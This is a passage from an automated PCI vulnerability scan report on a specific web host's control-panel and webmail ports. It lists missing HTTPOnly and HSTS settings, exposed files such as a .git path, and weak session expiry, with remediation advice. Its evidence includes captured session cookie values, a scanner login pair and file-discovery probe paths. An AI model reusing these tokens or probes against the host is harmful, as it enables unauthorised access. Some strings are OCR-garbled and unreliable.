HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found
timezone = etc/utc

Path =/

Host = 67.227.216.61

Cookie does not have an HTTPOnly Attribute
Cookie Change Observed on CLIENTSside

Request: POST https://67.227.216.61:2087/login/?login_only=1 HTTP/1.1

Referer: https://67.227.216.61:2087/

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-type: application/x-www-form-urlencoded

Cookie: timezone=Etc/UTC; whostmgrsession=%3a5TaR47rDIZMnYwC9%2c55aed3ebd1c102abd279f4a523ee0b91
Content-Length: 39

user=CHSuser&pass=Passworl&goto_uri=%2F
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location: https://67.227.216.61:2087/login/?login_only=1

Insufficient or No use of Strict Transport Security header port 2087/https
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2015-0160
Category: Information Leak
CVE ID: -

Vendor Reference:

Last Update: 2021-06-17 20:46:23.0

THREAT:

HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a
supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all
communications over HTTPS. It also prevents HTTPS click through prompts on browsers.

SOLUTION:
Example of response header use- Strict-Transport-Security: max-age=31536000

EVIDENCE:
DetectionDetails: No HSTS implemented for HTTPS

Request: GET https://67.227.216.61:2087/ HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

location: https://67.227.216.61:2087/

File and Directory Discovery port 2087/https
PCI COMPLIANCE STATUS

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS
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CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2018-0491
Category: File Access
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:36:13.0

THREAT:
This attack searches for various types of common files and directories that should normally be inaccessible. In addition, various extensions associated with archiving,
backup, and copying are searched for as well.

SOLUTION:

Unused, obsolete, or sample files can contain security flaws that allow an attacker to execute commands or glean useful information about the server or its configuration.
Also, such files may contain script sources or references to internal server functions that allow an attacker to make useful inferences about vulnerabilities in the web
application. Common files are often the result of a failure to properly clean a web application file system, or may be created by web application components, such as logs,
that should be removed from production systems. Many servers ship with insecure sample or demonstration scripts by default and are frequently overlooked. Remove any
non-essential files from the application. Also, ensure that the server is properly configured so that users can only access files and directories within their allowed
permissions.

EVIDENCE:
DetectionDetails: Page found

Request: GET https://67.227.216.61:2087/login/netauth.cgi HTTP/1.1

location: https://67.227.216.61:2087/login/netauth.cgi

File and Directory Discovery port 2087/https
PCI COMPLIANCE STATUS

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2018-0491
Category: File Access
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:36:13.0

THREAT:
This attack searches for various types of common files and directories that should normally be inaccessible. In addition, various extensions associated with archiving,
backup, and copying are searched for as well.

Sysnet Scanning Management System April 17, 2026 Page 128



PCI Scan Vulnerability Report

SOLUTION:

Unused, obsolete, or sample files can contain security flaws that allow an attacker to execute commands or glean useful information about the server or its configuration.
Also, such files may contain script sources or references to internal server functions that allow an attacker to make useful inferences about vulnerabilities in the web
application. Common files are often the result of a failure to properly clean a web application file system, or may be created by web application components, such as logs,
that should be removed from production systems. Many servers ship with insecure sample or demonstration scripts by default and are frequently overlooked. Remove any
non-essential files from the application. Also, ensure that the server is properly configured so that users can only access files and directories within their allowed
permissions.

EVIDENCE:
DetectionDetails: Page found

Request: GET https://67.227.216.61:2087/login/data.php HTTP/1.1

location: https://67.227.216.61:2087/login/data.php

File and Directory Discovery port 2087/https
PCI COMPLIANCE STATUS

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2018-0491
Category: File Access
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:36:13.0

THREAT:

This attack searches for various types of common files and directories that should normally be inaccessible. In addition, various extensions associated with archiving,
backup, and copying are searched for as well.

SOLUTION:

Unused, obsolete, or sample files can contain security flaws that allow an attacker to execute commands or glean useful information about the server or its configuration.
Also, such files may contain script sources or references to internal server functions that allow an attacker to make useful inferences about vulnerabilities in the web
application. Common files are often the result of a failure to properly clean a web application file system, or may be created by web application components, such as logs,
that should be removed from production systems. Many servers ship with insecure sample or demonstration scripts by default and are frequently overlooked. Remove any
non-essential files from the application. Also, ensure that the server is properly configured so that users can only access files and directories within their allowed
permissions.

EVIDENCE:

DetectionDetails: Page found

Request: GET https://67.227.216.61:2087/login/maintenance.php HTTP/1.1

location: https://67.227.216.61:2087/login/maintenance.php
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SmartAttack Recon Info (filtered)
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2018-0383

Category: Information

CVE ID: -

Vendor Reference: -

Last Update: 2020-01-08 17:23:38.0
THREAT:

Identifies session IDs and gathers various info on the application to hand to other SmartAttacks.

SOLUTION:
N/A

EVIDENCE:
DetectionDetails: Session ID found
whostmgrsession=%3aJFWNSWLbw01QsKy3%2c900c615949e004bal212c0b2717f1cll

Request: POST https://67.227.216.61:2087/login/ HTTP/1.1

Origin: https://67.227.216.61:2087

Cookie: timezone=Etc/UTC; whostmgrsession=%3a5TaR47rDIZMnYwC9%2c55aed3ebd1c102abd279f4a523ee0b91
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Referer: https://67.227.216.61:2087/

Content-Length: 26

Content-Type: application/x-www-form-urlencoded

user=CHSuser&pass=Passworl

location: https://67.227.216.61:2087/login/

File and Directory Discovery

PCI COMPLIANCE STATUS

PCI Severity Level:

port 2087/https

port 2087/https
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m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2018-0491
Category: File Access
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:36:13.0

THREAT:
This attack searches for various types of common files and directories that should normally be inaccessible. In addition, various extensions associated with archiving,
backup, and copying are searched for as well.

SOLUTION:

Unused, obsolete, or sample files can contain security flaws that allow an attacker to execute commands or glean useful information about the server or its configuration.
Also, such files may contain script sources or references to internal server functions that allow an attacker to make useful inferences about vulnerabilities in the web
application. Common files are often the result of a failure to properly clean a web application file system, or may be created by web application components, such as logs,
that should be removed from production systems. Many servers ship with insecure sample or demonstration scripts by default and are frequently overlooked. Remove any
non-essential files from the application. Also, ensure that the server is properly configured so that users can only access files and directories within their allowed
permissions.

EVIDENCE:
DetectionDetails: Page found

Request: GET https://67.227.216.61:2087/login/postinfo.asp HTTP/1.1

location: https://67.227.216.61:2087/login/postinfo.asp

File and Directory Discovery port 2087/https
PCI COMPLIANCE STATUS

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2018-0491
Category: File Access
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:36:13.0
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THREAT:

This attack searches for various types of common files and directories that should normally be inaccessible. In addition, various extensions associated with archiving,
backup, and copying are searched for as well.

SOLUTION:

Unused, obsolete, or sample files can contain security flaws that allow an attacker to execute commands or glean useful information about the server or its configuration.
Also, such files may contain script sources or references to internal server functions that allow an attacker to make useful inferences about vulnerabilities in the web
application. Common files are often the result of a failure to properly clean a web application file system, or may be created by web application components, such as logs,
that should be removed from production systems. Many servers ship with insecure sample or demonstration scripts by default and are frequently overlooked. Remove any
non-essential files from the application. Also, ensure that the server is properly configured so that users can only access files and directories within their allowed
permissions.

EVIDENCE:
DetectionDetails: Page found

Request: GET https://67.227.216.61:2087/phptest.php HTTP/1.1

location: https://67.227.216.61:2087/phptest.php

File and Directory Discovery port 2087/https
PCI COMPLIANCE STATUS

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2018-0491
Category: File Access
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:36:13.0

THREAT:

This attack searches for various types of common files and directories that should normally be inaccessible. In addition, various extensions associated with archiving,
backup, and copying are searched for as well.

SOLUTION:

Unused, obsolete, or sample files can contain security flaws that allow an attacker to execute commands or glean useful information about the server or its configuration.
Also, such files may contain script sources or references to internal server functions that allow an attacker to make useful inferences about vulnerabilities in the web
application. Common files are often the result of a failure to properly clean a web application file system, or may be created by web application components, such as logs,
that should be removed from production systems. Many servers ship with insecure sample or demonstration scripts by default and are frequently overlooked. Remove any
non-essential files from the application. Also, ensure that the server is properly configured so that users can only access files and directories within their allowed
permissions.

EVIDENCE:
DetectionDetails: Page found
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Request: GET https://67.227.216.61:2087/login/.git HTTP/1.1

location: https://67.227.216.61:2087/login/.git

Insecure configuration of Cookie attributes port 2087/https
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382

Category: Application Vulnerability

CVE ID: -

Vendor Reference: -

Last Update: 2021-12-20 20:39:03.0
THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found
session_locale = ar

Path =/

Host = 67.227.216.61

Cookie does not have an HTTPOnly Attribute

Request: GET https://67.227.216.61:2087/?locale=ar HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Cookie: whostmgrsession=%3aJFWNSWLbw01QsKy3%2c900c615949e004bal212c0b2717f1cll; timezone=Etc/UTC

location: https://67.227.216.61:2087/?locale=ar

HTTPS://spreengs.com:2096/ (HTTPS://spreengs.com:2096/, )
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Vulnerabilities total: 6

Vulnerabilities (6)

File and Directory Discovery port 2096/https
PCI COMPLIANCE STATUS

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2018-0491
Category: File Access
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:36:13.0

THREAT:
This attack searches for various types of common files and directories that should normally be inaccessible. In addition, various extensions associated with archiving,
backup, and copying are searched for as well.

SOLUTION:

Unused, obsolete, or sample files can contain security flaws that allow an attacker to execute commands or glean useful information about the server or its configuration.
Also, such files may contain script sources or references to internal server functions that allow an attacker to make useful inferences about vulnerabilities in the web
application. Common files are often the result of a failure to properly clean a web application file system, or may be created by web application components, such as logs,
that should be removed from production systems. Many servers ship with insecure sample or demonstration scripts by default and are frequently overlooked. Remove any
non-essential files from the application. Also, ensure that the server is properly configured so that users can only access files and directories within their allowed
permissions.

EVIDENCE:
DetectionDetails: Page found

Request: GET https://spreengs.com:2096/layout HTTP/1.1

location: https://spreengs.com:2096/layout

Insufficient Session Expiration port 2096/https
PCI COMPLIANCE STATUS

PCI Severity Level:

FAIL
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VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2024-1352

Category: Application Vulnerability

CVE ID: -

Vendor Reference: -

Last Update: 2024-04-29 22:02:12.0
THREAT:

Session hijacking and some other session-based attacks can require an active session ID to exploit. For this reason, sessions are given an expiration so that they are no
longer valid after the user is done with the session. By limiting the window in which a session ID is valid, the exploitability of the session ID is also reduced. General Data
Protection Regulation (GDPR) and the California Consumer Privacy Act (CCPA) have guidelines related to the use of cookies, including session cookies, although they do
not specifically mandate a maximum expiration time for session cookies. In general, the guidelines suggest that cookies should not be stored for longer than necessary for
the purpose for which they were collected.

SOLUTION:
It is recommended to use a framework that properly manages sessions and session expiration. The amount of time for a session to expire will depend on the application.
When a session expires, the web application must take active actions to invalidate the session on both sides, client and server.

EVIDENCE:
DetectionDetails: Insufficient Session Expiration found

Request: POST https://spreengs.com:2096/login/ HTTP/1.1

Origin: https://spreengs.com:2096

Cookie: timezone=Etc/UTC; roundcube_cookies=enabled; webmailsession=%3a28iONBPy4_J7mtwK%?2c71315ecab88aal40180cfalfeb75blef
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Referer: https://spreengs.com:2096/

Content-Length: 26

Content-Type: application/x-www-form-urlencoded

user=CHSuseré&pass=Passworl

location: https://spreengs.com:2096/login/

Insecure configuration of Cookie attributes port 2096/https
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382
Category: Application Vulnerability
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CVE ID: -
Vendor Reference: -
Last Update: 2021-12-20 20:39:03.0

THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a ‘'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found
timezone = etc/utc

Path =/

Host = spreengs.com

Cookie does not have an HTTPOnly Attribute
Cookie Change Observed on CLIENTSside

Request: POST https://spreengs.com:2096/login/?login_only=1 HTTP/1.1

Referer: https://spreengs.com:2096/

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Content-type: application/x-www-form-urlencoded

Cookie: timezone=Etc/UTC; roundcube_cookies=enabled; webmailsession=%3a28iONBPy4_J7mtwK%?2c71315ecab88aal40180cfalfeb75blef
Content-Length: 39

user=CHSuser&pass=Passworl&goto_uri=%2F

location: https://spreengs.com:2096/login/?login_only=1

SmartAttack Recon Info (filtered) port 2096/https
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2018-0383
Category: Information
CVE ID: -

Vendor Reference: -
Last Update: 2020-01-08 17:23:38.0
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THREAT:
Identifies session IDs and gathers various info on the application to hand to other SmartAttacks.

SOLUTION:
N/A

EVIDENCE:
DetectionDetails: Session ID found
webmailsession=%3aZBfBojzs60ffDM4m%2celf2bfo8aeldc2abf721ba54c411d9c7

Request: POST https://spreengs.com:2096/login/ HTTP/1.1

Origin: https://spreengs.com:2096

Cookie: timezone=Etc/UTC; roundcube_cookies=enabled; webmailsession=%3a28iONBPy4_J7mtwK%?2c71315ecab88aal40180cfa0feb75blef
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Referer: https://spreengs.com:2096/

Content-Length: 26

Content-Type: application/x-www-form-urlencoded

user=CHSuser&pass=Passworl

location: https://spreengs.com:2096/login/

Insecure configuration of Cookie attributes port 2096/https
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382
Category: Application Vulnerability
CVE ID: -

Vendor Reference: -
Last Update: 2021-12-20 20:39:03.0

THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.
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EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found
session_locale = ar

Path =/

Host = spreengs.com

Cookie does not have an HTTPOnly Attribute

Request: GET https://spreengs.com:2096/?locale=ar HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: webmailsession=%3aZBfBojzs60ffDM4m%2cel1f2bf98aeldc2abf721ba54c411d9c7; timezone=Etc/UTC; roundcube_cookies=enabled

location: https://spreengs.com:2096/?locale=ar

Insufficient or No use of Strict Transport Security header
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2015-0160
Category: Information Leak
CVE ID: -

Vendor Reference:

Last Update:

THREAT:

2021-06-17 20:46:23.0

port 2096/https

HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a
supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all
communications over HTTPS. It also prevents HTTPS click through prompts on browsers.

SOLUTION:

Example of response header use- Strict-Transport-Security: max-age=31536000

EVIDENCE:

DetectionDetails: No HSTS implemented for HTTPS

Request: GET https://spreengs.com:2096/ HTTP/1.1

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

location: https://spreengs.com:2096/
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Appendices

Hosts Scanned

spreengs.com, HTTPS://spreengs.com:2083/, HTTPS://www.spreengs.com:443/, HTTPS://67.227.216.61:2083/, HTTPS://67.227.216.61:2096/, HTTPS://spreengs.
com:2087/, HTTPS://67.227.216.61:2087/, HTTPS://spreengs.com:2096/

Hosts Not Alive

Report Legend

Payment Card Industry (PCI) Status

An overall PCI compliance status of PASSED indicates that all hosts in the report passed the PCI compliance standards. A PCI compliance status of PASSED for a single
host/IP indicates that no vulnerabilities or potential vulnerabilities, as defined by the PCI DSS compliance standards set by the PCI Council, were detected on the host.

An overall PCI compliance status of FAILED indicates that at least one host in the report failed to meet the PCI compliance standards. A PCI compliance status of FAILED
for a single host/IP indicates that at least one vulnerability or potential vulnerability, as defined by the PCI DSS compliance standards set by the PCI Council, was
detected on the host.

Vulnerability Levels

A Vulnerability is a design flaw or mis-configuration which makes your network (or a host on your network) susceptible to malicious attacks from local or remote users.
Vulnerabilities can exist in several areas of your network, such as in your firewalls, FTP servers, Web servers, operating systems or CGI bins. Depending on the level of
the security risk, the successful exploitation of a vulnerability can vary from the disclosure of information about the host to a complete compromise of the host.

Severity Level Description

LOW Low A vulnerability with a CVSS base score of 0.0 through 3.9. These vulnerabilities are not required to be fixed to pass PCI compliance.

Medium A vulnerability with a CVSS base score of 4.0 through 6.9. These vulnerabilities must be fixed to pass PCI compliance.

- High A vulnerability with a CVSS base score of 7.0 through 10.0. These vulnerabilities must be fixed to pass PCI compliance.

HIGH
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